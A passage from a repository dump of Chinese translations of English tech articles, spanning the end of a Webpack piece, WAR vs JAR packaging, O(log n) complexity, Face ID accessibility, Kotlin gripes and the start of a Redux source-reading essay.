了：\n\n![](http://ww4.sinaimg.cn/large/a490147fjw1f4i0pxgo3bj20lo0knmzm.jpg)\n\n## 总结\n\n在我的案例里面，Webpack 完全替代了 Grunt / Gulp：它们的大部分功能被 Webpack 取代，剩下的部分我只需要用 NPM scripts 来处理。比如我们想要使用 Aglio，把 API 文档转换为 HTML，只需要这么写：\n\n**package.json**\n\n\n\n    {\"scripts\":{\"build\":\"webpack\",\"build:api\":\"aglio -i docs/api/index.apib -o docs/api/index.html\"}}\n\n\n\n但是，如果你在 Gulp 里面调用了更加复杂的任务，和打包或者静态资源无关，Webpack 对于其他构建系统也兼容，比如下面这个例子把 Gulp 整合到 Webpack 里：\n\n\n\n    var gulp = require('gulp');\n    var gutil = require('gutil');\n    var webpack = require('webpack');\n    var config = require('./webpack.config');\n\n    gulp.task('default', function(callback) {\n      webpack(config, function(error, stats) {\n        if (error) throw new gutil.PluginError('webpack', error);\n        gutil.log('[webpack]', stats.toString());\n\n        callback();\n      });\n    });\n\n\n\n就这么简单，由于 Webpack 还有 Node API，所以可以用在其它构建系统中，无论是哪种情况，你都可以找到一种包裹方式挂载它。\n\n总而言之，我认为这篇文章可以帮你概览 Webpack 能帮你做什么事情。你可能会觉得我在本文里提及了很多内容，但是我们还只是讲了一点皮毛：多入口点、预加载、上下文替换等还没提及呢。Webpack 很好很强大，所以比起其它构建工具的配置显得成本更高，但是我并不会因此而拒绝它。一旦你领悟了它，会给你带来很多好处。我在好几个项目里用上了 Webpack，它提供了强大的优化能力和自动处理能力，老实说我已经不能想象怎么回到那个手动解决静态资源问题的时代了。\n\n## 相关资源\n\n*   [Webpack 官方文档](https://webpack.github.io/)\n*   [Loaders 列表](http://webpack.github.io/docs/list-of-loaders.html)\n*   [Plugins 列表](http://webpack.github.io/docs/list-of-plugins.html)\n*   [本文的源代码](https://github.com/madewithlove/webpack-article/commits/master)\n*   [本文的 Webpack 配置文件](https://github.com/madewithlove/webpack-config)\n\n"
  },
  {
    "path": "TODO/what-archive-format-should-you-use-war-or-jar.md",
    "content": "\n> * 原文地址：[What Archive Format Should You Use, WAR or JAR?](https://dzone.com/articles/what-archive-format-should-you-use-war-or-jar)\n> * 原文作者：[Nicolas Frankel](https://dzone.com/users/293758/nfrankel.html)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/what-archive-format-should-you-use-war-or-jar.md](https://github.com/xitu/gold-miner/blob/master/TODO/what-archive-format-should-you-use-war-or-jar.md)\n> * 译者：[windmxf](https://github.com/windmxf)\n> * 校对者：[lsvih](https://github.com/lsvih), [LeviDing](https://github.com/leviding)\n\n# WAR 还是 JAR，你应该用哪种格式打包？\n\n以前，内存和磁盘都是稀缺资源。在那时，比较常见的方案是把不用的应用程序部署在同一个平台上。那是应用服务器的黄金时代。我早期写过一篇文章，说的是当前存储资源趋于廉价会使应用服务器在一段时间内过时。然而，有一种技术趋势让应用服务器重新回归主流。\n\n在基础设施昂贵的情况下，拥有一台应用服务器是一件很棒的事情，通过应用程序共享可以大大降低成本。但缺点是，这种方法需要深入地了解每个共享相同资源的应用程序的负载情况，还需要资深的系统管理员来部署应用程序，他们需要保证程序在服务器的兼容性。然而对于老一辈人来说，难道仅仅因为某个应用程序的资源管理没做好，就只能让它单独运行吗？当基础设施成本降低时，每个服务器只部署一个应用程序的做法变得很普遍。那时，人们下一步考虑的是为什么仍然需要将应用程序服务器作为专用组件。看上去 Spring 团队也得到了相同的结论，因为 Spring Boot 应用的默认模式就是打包成一些可执行的 jar 包，我们称其为 Fat JARs。这些应用程序可以通过“java -jar fat.jar”的命令运行。因此有句名言：\n\n“用 JAR 包，而不是 WAR 包” - Josh Long\n\n我并不完全同意这个观点，我认为这个观点会让大多数团队失去应用服务器管理方面的专业知识。不过，一个支持 Fat JARs 的有力证据表明，自从使用 booting 技术管理应用程序，加载 java 类变得非常容易。例如，使用开发工具，Spring Boot 为两种类加载器（classloader）提供了同一种处理机制，一种类加载器对应类库，另一种对应 java 类，所以重新加载一个修改过的类是不需要重启整个 jvm — 这个简洁的技巧让代码的更新迭代变得快捷方便。\n\n如果我们认为，应用服务器提供商仍在使用传统方式来处理任务的话，那就错了——多谢 Ivar Grimstad 让我想到\n了这个问题（这是一个访谈的好理由，虽然你不一定对会议感兴趣）。Wildlfy、TomEE，以及其他应用服务器提供商都使用 Fat JARs 打包，但他们和我们有个很大的区别：他们不使用 Spring 之类的开发工具，所以每当修改代码都需要重启整个服务器。让代码快速生效的唯一方法就是在底层进行开发工作，例如为团队购买正版的 JRebel。然而，现在还有一个理由让我们选用 WAR 包，那就是使用 Docker。通过提供一个普通的应用服务器以及 Docker 映象作为基础映象，在上面加一个 WAR 包就能轻松得到 WAR 包镜像。目前 JAR 包（暂时）还不能通过这种方式实现。\n\n请注意这里并不是在比较 Spring Boot 和 JavaEE，而是在比较 JAR 和 WAR，因为用 Spring Boot 可以完美地打出这两种类型的包。我前面提到现在还有一个问题，那就是当代码修改之后还是需要重启整个 JVM，而不能仅仅重载 java 类 — 但我相信这个问题迟早会解决。\n\n选择用 WAR 包还是 JAR 包最终取决于公司的实际情况，看公司是更看中开发的快速反馈迭代，还是更看重 Docker 映像的优化与管理。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/what-does-the-time-complexity-o-log-n-actually-mean.md",
    "content": "> * 原文地址：[What does the time complexity O(log n) actually mean?](https://hackernoon.com/what-does-the-time-complexity-o-log-n-actually-mean-45f94bb5bfbf)\n> * 原文作者：[Maaz](https://hackernoon.com/@maazrk)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[cdpath](https://github.com/cdpath)\n> * 校对者：[zaraguo (zaraguo)](https://github.com/zaraguo), [whatbeg (Qiu Hu)](https://github.com/whatbeg)\n\n# 时间复杂度 O(log n) 意味着什么？\n\n![](https://cdn-images-1.medium.com/max/1000/1*IIKt9oYIhWsUQmsKoRZorQ.jpeg)\n\n预先知道算法的复杂度是一回事，了解其后的原理是另一件事情。\n\n不管你是计算机科班出身还是想有效解决最优化问题，如果想要用自己的知识解决实际问题，你都必须理解时间复杂度。\n\n先从简单直观的 O(1) 和 O(n) 复杂度说起。O(1) 表示一次操作即可直接取得目标元素（比如字典或哈希表），O(n) 意味着先要检查 n 个元素来搜索目标，但是 O(log n) 是什么意思呢？\n\n你第一次听说 O(log n) 时间复杂度可能是在学二分搜索算法的时候。二分搜索一定有某种行为使其时间复杂度为 log n。我们来看看是二分搜索是如何实现的。\n\n因为在最好情况下二分搜索的时间复杂度是 O(1)，最坏情况（平均情况）下 O(log n)，我们直接来看最坏情况下的例子。已知有 16 个元素的有序数组。\n\n举个最坏情况的例子，比如我们要找的是数字 13。\n\n![](https://cdn-images-1.medium.com/max/800/1*2zmw8UA3Ju93DskOT2ja0A.png)\n\n十六个元素的有序数组\n\n![](https://cdn-images-1.medium.com/max/800/1*dONXkX6pcZlJsW4pJT2a4w.jpeg)\n\n选中间的元素作为中心点（长度的一半）\n\n![](https://cdn-images-1.medium.com/max/800/1*ZGG_EHsm4F-4ESE4jH4Kqg.jpeg)\n\n13 小于中心点，所以不用考虑数组的后一半\n\n![](https://cdn-images-1.medium.com/max/800/1*ePal2Rfl88eRGFPnvXKFIw.jpeg)\n\n重复这个过程，每次都寻找子数组的中间元素\n\n![](https://cdn-images-1.medium.com/max/800/1*fJX4YoVfImQvQlWN4CRgsg.jpeg)\n\n![](https://cdn-images-1.medium.com/max/800/1*1dJ8urBmYpKiGzyNZbwd8w.jpeg)\n\n每次和中间元素比较都会使搜索范围减半。\n\n所以为了从 16 个元素中找到目标元素，我们需要把数组平均分割 4 次，也就是说，\n\n![](https://cdn-images-1.medium.com/max/800/1*4wH4sn6FBsAPnVHjIMdhTA.png)\n\n简化后的公式\n\n类似的，如果有 n 个元素，\n\n![](https://cdn-images-1.medium.com/max/800/1*b4wakMYiYlBXb99b-eYJ9w.png)\n\n归纳一下\n\n![](https://cdn-images-1.medium.com/max/800/1*XwWCLuB2Zb0zQjSQo7wpbQ.png)\n\n分子和分母代入指数\n\n![](https://cdn-images-1.medium.com/max/800/1*lHNSYMPysioxVc38BvokAw.png)\n\n等式两边同时乘以 2^k\n\n![](https://cdn-images-1.medium.com/max/800/1*y10tlmCach8Uefc3n3d5aA.png)\n\n最终结果\n\n现在来看看「对数」的定义：\n\n> 为使某数（底数）等于一给定数而必须取的乘幂的幂指数。\n\n也就是说可以写成这种形式\n\n![](https://cdn-images-1.medium.com/max/800/1*qVSjYPYo9t4QNoLP8FZFWw.png)\n\n对数形式\n\n所以 log n 的确是有意义的，不是吗？没有其他什么可以表示这种行为。\n\n就这样吧，我希望我讲得这些你都搞懂了。在从事计算机科学相关的工作时，了解这类知识总是有用的（而且很有趣）。说不定就因为你知道算法的原理，你成了小组里能找出问题的最优解的人呢，谁知道呢。祝好运！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/what-face-id-means-for-accessibility.md",
    "content": "> * 原文地址：[What Face ID Means for Accessibility](https://www.stevensblog.co/blogs/what-face-id-means-for-accessibility?utm_source=SitePoint&utm_medium=email&utm_campaign=Versioning)\n> * 原文作者：[steven](https://www.stevensblog.co)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/what-face-id-means-for-accessibility.md](https://github.com/xitu/gold-miner/blob/master/TODO/what-face-id-means-for-accessibility.md)\n> * 译者：[winry](https://github.com/winry01)\n> * 校对者：[Ziheng Gao](https://github.com/noahziheng) [Yong Li](https://github.com/NeilLi1992)\n\n# FACE ID 对易用性意味着什么\n\n当苹果在 2013 年 iPhone 5s 中引入 Touch ID 时，我写了 [一篇](https://medium.com/@steven_aquino/on-touch-id-and-accessibility-eff1391cff91) 有关指纹识别在易用性方面的改善的文章。其中一部分我写到：\n\n> 我了解到的 Touch ID 正是通过简单的使用拇指（或其它手指）的指纹替代密码来解锁他们的手机，从而帮助人们解决前述的运动灵敏度问题。更特别的是，Touch ID 使使用者免于手动输入密码的困扰。\n> \n> 我的看法与其说是关于便利性（的确很棒）倒不如说是可用性。我知道许多有视力和运动问题的人会抱怨 iOS 的密码输入，因为这不仅需要时间，而且输入密码也不是一件容易的事情。事实上，不少人不止抱怨，甚至彻底取消了密码，因为这样做非常耗时，而且很痛苦（有时候这毫不夸张）。\n\n四年后，iPhone X 上 Face ID 的诞生象征着生物识别的安全性进入下一个阶段。这也是很特别很出色的，尽管在安全性，便利性**和**易用性方面 Touch ID 同样优秀，但 Face ID 甚至更好。[在我短暂的 iPhone X 使用体验中](https://www.stevensblog.co/blogs/my-first-week-with-iphone-x)，我已经发现 Apple 的面部识别技术几乎可以在任何领域击败 Touch ID 。更别提我能**用我的脸**来解锁我的手机和购物是多么酷炫的事情。\n\n生活在前沿技术的时代很有趣。\n\n## 面对我的 Face ID 难题\n\n在我的第一印象中，我注意到 iPhone X 上的 Face ID 是迄今为止这台设备上「最赞」的特性。它启发我认识到我是一个特例。自我使用苹果产品以来，这是第一次我感觉到自己被迫适应技术，而不是让技术适应我。\n\n困难在于，我有一种特殊状况称为 [斜视](https://en.wikipedia.org/wiki/Strabismus)，就是一个或两个眼睛不能直看。对我来说，是左眼 —— 巧合的是，也是我的主力眼 —— 似乎对 TrueDepth 相机系统造成了混乱。在我最初尝试设置 Face ID 时，我不能用 Face ID 来解锁我的电话。设置过程很顺利 —— Face ID 成功地获取到我的脸部，但是，当我再一次解锁电话或登录应用程序如「1Password」时它不能识别到我。这很让人沮丧。\n\n由于 Face ID **是** iPhone X 的最重要的功能，这体验很不好。\n\n经过一些错误定位，总算有了一个解决方案。通过一些测试，我判断我是属于无法通过「眼神交流」来使 iPhone X 正常工作的特殊用户之一。因此，解决的办法是去 Face ID 的设置并关闭「注视感知功能」功能(「设置」>「面容 ID 与密码」>「注视感知功能」)。通过禁用「注视感知功能」，Face ID 如臂使指。完成诸如解锁我的手机，登录「1Password」和苹果支付等任务都是很轻松的。\n\n唯一需要注意的是，我仍然不习惯把手机放在足够远的地方让 Face ID 可以读取到我的脸部信息。由于我的视力低，需要靠近看，我会本能地把手机靠近我的脸。Face ID 显然不能在这个角度识别我，所以我倾向于使用接触，你无法使劲「摇头」登录。我拥有 iPhone X 仅有两周，所以还要花费更多的时间来开发新的肌肉记忆。不过，我可以解决这个问题，因为我知道这个技术没有问题，苹果也不会给我一个修复过的特殊版本，正如我最初担心的那样。一切都按照预期设计地工作 —— 我只需要学习新的习惯。\n\n特别是 iPhone X，背负着十年的 iPhone 使用习惯要忘却。\n\n## 为什么 Face ID 击败了 Touch ID\n\n所以什么使 Face ID 比 Touch ID更易用？\n\n其中一点，设置速度要快得多，而且更不费力。虽然录入 Touch ID 一点也不困难，但速度相对较慢并且「要求精确」。iOS 提示你这样那样移动手指，并且当你不按照它的指示操作时会出现问题。如果你是一个精细运动技能有限的人，那么 Touch ID 的设置就是一种痛苦。\n\n相反，设置 Face ID 至少**感觉**更合理更简洁。正如苹果给我描述的一样，移动你的头「像你在用你的脸画一个圈」，对于有点 “非精细运动技能” 受限的人来说可能很困难，但有一个易用性选项来省略这一步骤。（系统将以固定的角度进行单次拍摄，而不是移动头部以获取深度图。）如果对你来说转动脑袋不太可能或很烦，苹果也通过设置界面覆盖了你这样的用户。虽然，Touch ID 并不差，但我发现，设置 Face ID 比以前更简单快捷。这当然都是因为苹果数年研究用户数据和微调 BiometricKit 的缘故。\n\n除了设置之外，面部识别的另一个优势在于它的存在为许多残疾用户消除了不便（Touch ID 传感器）。不管 Touch ID 有多易用，需要触碰和/或按动对很多人而言仍是麻烦。现在人们要做的只是**注视**他们的手机，而无需再用触碰来授权一切。。这无疑也是方便的，但重要的是从易用性角度看，面部意味着自由。自由是指有一个更好的依赖于技术的前进方向，也意味着减少可能的障碍。\n\n苹果公司在 iOS 平台上基于硬件和软件方面建立了 Face ID ，使得使用 iPhone 在许多方面具有真正意义上的「免提」体验。这还不用提其它独立的辅助功能，如开关控制或AssistiveTouch。这对具有身体缺陷，即使最基础的任务（例如，解锁一个设备）都无法完成的用户，包括我自己来说，确实是巨大的改进。就像许多与易用性相关的话题一样，那些被认为是理所当然的小事总是在塑造积极体验方面产生最大的变化。\n\n## 关于 Face ID 和苹果支付\n\n作为一种无障碍的支付方式，我写下了（[这篇](http://m.imore.com/apple-pay-and-empowering-nature-inclusive-design) 和 [这篇](http://www.imore.com/apple-watch-makes-apple-pay-even-better-accessibility)）来赞美苹果支付。自 2014 年首次亮相以来，我一直使用它，但仍然惊讶它做的很棒。这真是一个神奇的服务。\n\n在 iPhone X 上的 Face ID 将苹果支付带向了下一个级别。我在 iPhone X 上为数不多的几次苹果支付的使用中（为了支付 Lyft 乘车），Face ID 提供了更加无缝的体验。与解锁一样，苹果支付与 Face ID 绑定的优势在于确认您的购买。（双击侧按钮启动即可。）它的免提性意味着我不必担心让我的拇指处于正确的位置，或者花时间等待授权。\n\n因为我是 Apple Watch 的佩戴者，尽管苹果支付在手机上很好，但我不经常在 iPhone 上使用这项服务。在我的手腕上使用更好，但我很高兴苹果让手势在各种设备上更加一致。不论如何，我**确实**在 iPhone 上使用苹果支付时，Face ID 使得它更快，更容易，更易于使用。\n\n## 关于 Touch ID API 的简要说明\n\n值得一提的是，我相信公共的 Touch ID/Face ID API 在易用性上有很大影响。对我来说，出乎意料的好。\n\n原因在于，通过让开发人员将生物识别技术整合到应用程序中，苹果正在有效地确保第三方应用程序更易于访问。我仍然同意 Marco Arment 的看法 [认为公司应该把易用性作为应用程序审查的一个重点](https://marco.org/2014/07/10/app-review-should-test-accessibility)，但就目前而言，仅仅是 App Store 中的应用能够调用生物识别功能这一事实，已经使他们在易用性方面立于不败之地。我已经能够使用我的拇指（现在我的脸）进入我的「1Password」，意味着应用程序已经很容易访问，甚至无需评价其它设计细节。这样肯定胜过每次都输入一个密码。\n\n当然 [许多开发者需要做的是](http://techcrunch.com/2014/08/02/reuters-rebuttal/) 确保他们的应用程序是所有人可以访问的，但是这些 API 肯定会让他们和用户遥遥领先。这并不是微不足道的，苹果在认识到这方面好处上可能很有先见之明，这是值得赞扬。 这是该工具包的一个重要补充。\n\n## （无障碍）智能手机的未来\n\n现在每个拥有 iPhone X 的人都仍然处于蜜月期，时间会告诉你随着设备的老化而变化的感觉。我自己用到目前为止，我很清楚，苹果用这样一种方式来创造 iPhone X，使得智能手机更加易用的「未来」是可以实现的。\n\niPhone X 取得了很多的飞跃，但 Face ID 仍是最大的。 它比配备了广受赞誉的 Touch ID 功能的前代产品更为出色。从我的角度来看它还需要一些必要的调整，但但我仍对 Face ID 赞不绝口。这实在是愉快的，可靠的，易用的。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/what-i-hate-in-kotlin.md",
    "content": "> * 原文地址：[What do I hate in Kotlin](http://marcinmoskala.com/kotlin/2017/05/31/what-i-hate-in-kotlin.html)\n> * 原文作者：[Moskala Marcin](http://marcinmoskala.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Zhiw](https://github.com/Zhiw)\n> * 校对者：[stormrabbit](https://github.com/stormrabbit),[yazhi1992](https://github.com/yazhi1992)\n\n我爱 Kotlin。这是我学习过最棒的语言，并且这两年多的时间，我很享受用它来写应用。尽管如此，就像最好的老婚姻一样，我有一大堆讨厌的东西并且我知道大多数不会改变。它们大多数也不算大问题，也不容易让人陷入困境。不过，它们一直存在，是 Kotlin 美中不足之处。\n\n# Java 的流毒\n\n在 Kotlin 中，你不能定义这两个函数：\n\n```\nfun foo(strings: List<String>) {}\nfun foo(ints: List<Int>) {}\n```\n\n这是因为他们两个都有相同的 JVM 签名。这不是 Kotlin 的问题，而是将他们编译成 Java 字节码的结果。这只是 Java 的流毒影响 Kotlin 执行的一种方式。但是这里还有更大的问题。例如，[拓展是静态解析](https://kotlinlang.org/docs/reference/extensions.html#extensions-are-resolved-statically)。这是一个大问题，我希望写一整篇文章来单独讨论这个问题。现在，它仅仅是个问题而且不直观。事实上，它就是这样设计的，因为这样拓展函数被简单地编译为一个接受第一个参数的静态函数。现在需要在 Kotlin/JavaScript 和 Kotlin/Native 中以相同的方式实现。可以，这很 Java。\n\n# 减号运算符问题和其他不明确的操作结果\n\n让我们来看一下这个操作：\n\n```\nprintln(listOf(2,2,2) - 2) // [2, 2]\n```\n\n结果是很直观的，我们从 list 中移除了该元素，因此我们得到一个没有该元素的 list。现在让我们来看一下这个表达式：\n\n```\nprintln(listOf(2,2,2) - listOf(2))\n```\n\n结果是什么？空的 list！非常不直观，并且我 [一年前报告了该问题](https://youtrack.jetbrains.com/issue/KT-11453)。但是得到的回复是“它就是这么设计的”。是的，函数说明如下：\n\n```\n/*\n// 去除给定的集合中所包含的元素后，返回原集合。\n*/\n```\n\n但是这并没有提高程序的可读性。这还只是不直观的一个例子。让我们来看一些更不直观的结果：\n\n```\n\"1\".toInt() // 1 - parsed to number\n'1'.toInt() // 49 - its ASCII code\n```\n\n这是正确的，但同时奇怪的是，请注意以下表达式的结果是 true。\n\n```\n\"1\".toInt() != '1'.toInt()\n\"1\".toInt() != \"1\"[0].toInt()\n```\n\n虽然 `String` 中任何非数字的字符都会导致 `NumberFormatException`，但对于返回 null 的 String 也有 `toIntOrNull` 函数。我认为这个函数首先应该命名为另外一种方式更好，或许是 `parseInt`?\n\n \n让我们看一下另外一件事情，但这个更为复杂：（感谢 [Maciej Górski](https://github.com/mg6maciej) 的展示）。\n\n```\n1.inc() // 2\n1.dec() // 0\n-1.inc() // -2\n-1.dec() // 0\n```\n\n后面两个结果很奇怪，难道不是吗？原因是 `-` 不是数字的一部分，而是 Int 的一元拓展函数。这就是为什么后面两行和下面的是相同的：\n\n```\n1.inc().unaryMinus()\n1.dec().unaryMinus()\n```\n\n这也是这么设计的，并且这也不会改变。另外一些人会讨论这该如何如何。让我们假设在 Int 后面加了空格：\n\n```\n- 1.inc() // -2\n- 1.dec() // 0\n```\n\n现在这看起来就合理了。这应该怎么使用呢？数字应该和 `-` 一起在括号里面。\n\n```\n(-1).inc() // 0\n(-1).dec() // -2\n```\n\n从理性的角度来看，这没问题，但是我认为每个人都会觉得 `-2` 应该是一个数字，而不是 `2.unaryMinus()`。\n\n# 孤立主义\n\nKotlin 有很多适用于任何对象的拓展（比如 let, apply, run, also, to, takeIf, …），我看到很多具有创造力的用法。在 Kotlin 中，你可以将以下定义：\n\n```\nval list = if(student != null) {\n    getListForStudent(student)\n} else {\n    getStandardList()\n}\n```\n\n替换为:\n\n```\nval list = student?.let { getListForStudent(student) } ?: getStandardList()\n```\n\n这样代码更少而且看起来更棒。另外，当添加其他条件时，我们依然可以使用：\n\n```\nval list = student?.takeIf { it.passing }?.let { getListForStudent(student) } ?: getStandardList()\n```\n\n但是这个真的比以前简单的 if 条件更好吗？\n\n```\nval list = if(student != null && student.passing) {\n    getListForStudent(student)\n} else {\n    getStandardList()\n}\n```\n\n我不置可否，但事实上，这种刻意使用 Kotlin 拓展实现的代码，对于没有使用过 Kotlin 的开发者来说是非常晦涩和抽象的。这种特性让 Kotlin 对于初学者来说变得很困难。Kotlin 的协程变化很大，这是一个很棒的特性。当我开始学习它的时候，我一整天都在重复“不可思议”和“哇”。Kotlin 协程（Coroutines）让多线程操作变得如此简单，非常棒。我觉得编程一开始就应该这么设计。不过，搞清楚 Kotlin 协程依然是一件很复杂的事情，并且它与其它技术的实现方式相去甚远。如果社区开始广泛使用协程，这又会是其它语言的开发者入门的另一个障碍。这就导致了孤立。并且我觉得这太早了。现在 Kotlin 在 Android 和 Web 方面变得越来越受欢迎，而且它刚刚开始在 JavaScript 和 native 中使用。我认为这种多样化对 Kotlin 来说愈发重要，并且 Kotlin 的具体功能介绍应该稍后开始。现在，Kotlin\\JavaScript 和 Kotlin\\Native 依然有很多工作要做。\n\n# 元组 VS 单一抽象方法\n\n[Kotlin 放弃了元组](https://blog.jetbrains.com/kotlin/migrating-tuples/)，并且只留下 `Pair` 和 `Triple`。因为应该使用数据类（date class）代替元组。这有什么不同呢？数据类包含其命名，以及其所有的属性的命名。除此之外，它可以像元组一样使用：\n\n```\ndata class Student(\n        val name: String,\n        val surname: String,\n        val passing: Boolean,\n        val grade: Double\n)\n\nval (name, surname, passing, grade) = getSomeStudent()\n```\n\n同时，Kotlin 通过生成包含 lambda 方法而不是 Java 单一抽象方法（SAM:Simple Abstract Method）的 lambda 构造函数和方法来添加对 Java 单一抽象方法的支持：\n\n```\nview.setOnClickListener { toast(\"Foo\") }\n```\n\n但是在 Kotlin 中定义的单一抽象方法不起作用，因为它建议使用函数类型。单一抽象方法和函数类型有什么不同呢？单一抽象方法包含名称，并且其所有参数的命名。从 Kotlin 1.1 开始，函数类型可以通过 typealias（类型别名）实现：\n\n\n```\ntypealias OnClick = (view: View)->Unit\n```\n\n但我仍然觉得这缺乏对称性。如果强烈建议使用数据类，并禁止元组，那么为什么建议使用函数类型而不是单一抽象方法，并且 Kotlin 不支持单一抽象方法。可能的答案是元组会在现实生活的项目产生更多的问题。JetBrains 有很多关于语言用法的数据，他们知道如何分析它。他们非常了解 lambda 语言特性如何影响开发，并且我猜他们知道他们在做什么。我只是基于我的直觉，如果程序员可以决定是否要使用元组或数据类，那将会更好。而且这样显得不孤立，因为大多数现代语言都引入了元组。\n\n# 总结\n\n事实上，这只是一些小事情。与 JavaScript，PHP 或 Ruby 中存在的问题相比根本不算什么。Kotlin 从一开始就精心设计，是很多问题的解决方案。只有一些小东西不够好。\n至少这几年，Kotlin 仍然是，也将是，我最喜欢的语言。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/what-i-learned-from-reading-the-redux-source-code.md",
    "content": "> * 原文地址：[What I learned from reading the Redux source code](https://medium.freecodecamp.org/what-i-learned-from-reading-the-redux-source-code-836793a48768)\n> * 原文作者：[Anthony Ng](https://medium.freecodecamp.org/@newyork.anthonyng?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/what-i-learned-from-reading-the-redux-source-code.md](https://github.com/xitu/gold-miner/blob/master/TODO/what-i-learned-from-reading-the-redux-source-code.md)\n> * 译者：[缪宇](https://juejin.im/user/57df39fca0bb9f0058a3c63d/posts)\n> * 校对者：[anxsec](https://github.com/anxsec) [轻舞飞扬](https://github.com/FateZeros)\n\n# 我们能从 Redux 源码中学到什么？\n\n![](https://cdn-images-1.medium.com/max/2000/1*BpaqVMW2RjQAg9cFHcX1pw.png)\n\n我总是听人说，想拓展开发者自身视野就去读源码吧。\n\n所以我决定找一个高质量的 JavaScript 库来深入学习。\n\n我选择了 [Redux](https://github.com/reactjs/redux)，因为它的代码比较少。\n\n这篇文章不是 Redux 教程，而是阅读源码后的收获。如果你对学习 Redux 感兴趣，强烈推荐你去看 [Redux 教程](https://egghead.io/courses/getting-started-with-redux)，这个系列文章是 Redux 的作者 Dan Abramov 写的。\n\n### 从源码中学习\n\n一些新来的开发者经常问我，怎样才是最好的学习方式？我往往会告诉他们在项目中学习。\n\n当你构建一个项目来实践你的想法时，由于你对它的热爱，会让你度过难熬的 debug 阶段，即使遇到困难也不会放弃。这是一个非常神奇的现象。\n\n但是一个人闭门造车也是有问题的。你不会注意到你开发过程中的坏习惯，你也学不到任何最优的解决方案。你可能都不知道又出了哪些新的框架和技术。在独自写项目的过程中，你很快会发现你的技能达到瓶颈。\n\n只要有可能，我建议你找些小伙伴和你一起开发。\n\n试想一下，坐在你旁边的小伙伴（如果你够幸运，他恰好是个大神），你可以观察他思考问题的过程。你可以看他是如何敲代码的。你可以看他是如何解决算法问题的。你可以学到新的开发工具和快捷键。你会学到许多你一个人开发时学不到的东西。\n\n![](https://cdn-images-1.medium.com/max/800/1*p7CG3FIp5uxS5GYkJnPJzw.jpeg)\n\n斯特拉迪瓦里小提琴。\n\n我用斯特拉迪瓦里的小提琴举个例子。斯特拉迪瓦里小提琴以出色的音质闻名世界，在业界可以说是一枝独秀。许多人尝试用各种方法去解释为什么它这么牛逼，从古老教堂抢救出来的木材到特殊的木材的防腐剂。许多人想要复制一把斯特拉迪瓦里小提琴，结果都失败了，因为他们不知道安东尼·斯特拉迪瓦里到底是怎么做的。\n\n设想一下，如果你和安东尼·斯特拉迪瓦里在一个房间里工作，那么所有的独门秘籍你都可以学到。\n\n这下你知道该如何与你的开发小伙伴相处了吧。你只需要安静的坐他旁边，看着他写出一行行斯特拉迪瓦里式的代码。\n\n对于与多人来说，协同编程是一个很好的机会，可以通过别人的代码学到很多东西。\n\n阅读高质量的代码就像读一本精彩的小说一样，比起直接和作者交流，你可能理解起来比较困难。但是你可以通过看注释和代码，获取到有价值的信息。\n\n对于那些认为看源码没什么用的同学，你可以去看一个故事，一个叫比尔·盖茨的高中生，为了了解某个公司的机密，他甚至去翻人家的垃圾桶找源码。\n\n如果你也可以像比尔·盖茨那样不厌其烦的看源码，那还在等什么？找一个 github 